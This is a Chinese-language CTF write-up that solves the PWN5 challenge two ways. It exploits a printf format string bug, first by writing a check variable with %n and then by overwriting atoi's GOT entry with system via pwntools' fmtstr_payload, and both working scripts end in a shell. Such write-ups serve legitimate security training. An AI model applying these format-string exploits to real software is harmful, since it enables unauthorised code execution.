[第五空间2019 决赛]PWN5 ——两种解法

目录

    • 题目分析
    • 解法1
    • 解法2
    • 参考博文

题目分析

[第五空间2019 决赛]PWN5 ——两种解法_第1张图片
栈不可执行、开启了Canary防护
[第五空间2019 决赛]PWN5 ——两种解法_第2张图片
能看出虽然存在read函数,但buf长度位70h,并不存在栈溢出,但存在一个printf()函数,存在格式化字符串漏洞
该题思路由两个:

  1. 将unk_804c044内容修改,这样我们可以使得if判断成功执行system(“/bin/sh”)
  2. 由于存在字符串漏洞,直接将atoi修改为system,读入时传/bin/sh进去,在if判断时执行system(“/bin/sh”)

解法1

先看一下格式化字符串的地址情况,这介绍两种方法,第一种gdb调试获得
[第五空间2019 决赛]PWN5 ——两种解法_第3张图片
第一个为printf的第一个参数,第二个开始为格式化字符串参数,从2开始偏移10*4地址空间
第二种方法可以直接输入探测格式化字符串进行选择,输入AAAA-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x,A的ASCII码为65(0x41),因此0x41414141即为AAAA存入地址
在这里插入图片描述
知道了偏移是10,并用ida查找unk_804C044地址为0x0804C044
攻击代码

from pwn import *
context.os = 'linux'
context.arch = 'i386'
#context.log_level = 'debug'
io = process('./pwn')
payload = p32(0x804c044)+p32(0x804c045)+p32(0x804c046)+p32(0x804c047)+b'%10$n%11$n%12$n%13$n'
io.sendline(payload)
io.sendline(str(0x10101010))
io.interactive()

解法2

我们可以利用fmtstr_payload修改任意内容,
fmtstr_payload是pwntools里面的一个工具,可以实现修改任意内存,用来简化对格式化字符串漏洞的构造工作。

fmtstr_payload(offset, {printf_got: system_addr})(偏移,{原地址:目的地址})

fmtstr_payload(offset, writes, numbwritten=0, write_size=‘byte’)
第一个参数表示格式化字符串的偏移;
第二个参数表示需要利用%n写入的数据,采用字典形式,我们要将printf的GOT数据改为system函数地址,就写成{printfGOT:
systemAddress};本题是将0804a048处改为0x2223322
第三个参数表示已经输出的字符个数,这里没有,为0,采用默认值即可;
第四个参数表示写入方式,是按字节(byte)、按双字节(short)还是按四字节(int),对应着hhn、hn和n,默认值是byte,即按hhn写。
fmtstr_payload函数返回的就是payload

思路:利用字符串漏洞将判断的atoi直接替换成system,然后手动输入"/bin/sh"字符串,即可达成system(“/bin/sh”)目的

from pwn import *
#io = process("./pwn")
io = remote("node4.buuoj.cn",25068)
elf = ELF('./pwn')
atoi_got = elf.got['atoi']
system_plt = elf.plt['system']
payload=fmtstr_payload(10,{atoi_got:system_plt})
io.sendline(payload)
io.sendline(b'/bin/sh\x00')
io.interactive()

参考博文

https://www.cnblogs.com/murkuo/p/16322688.html
https://blog.csdn.net/weixin_45556441/article/details/115413843
https://blog.csdn.net/m0_71081503/article/details/125356047

你可能感兴趣的:(CTF训练,PWN,安全,PWN,linux)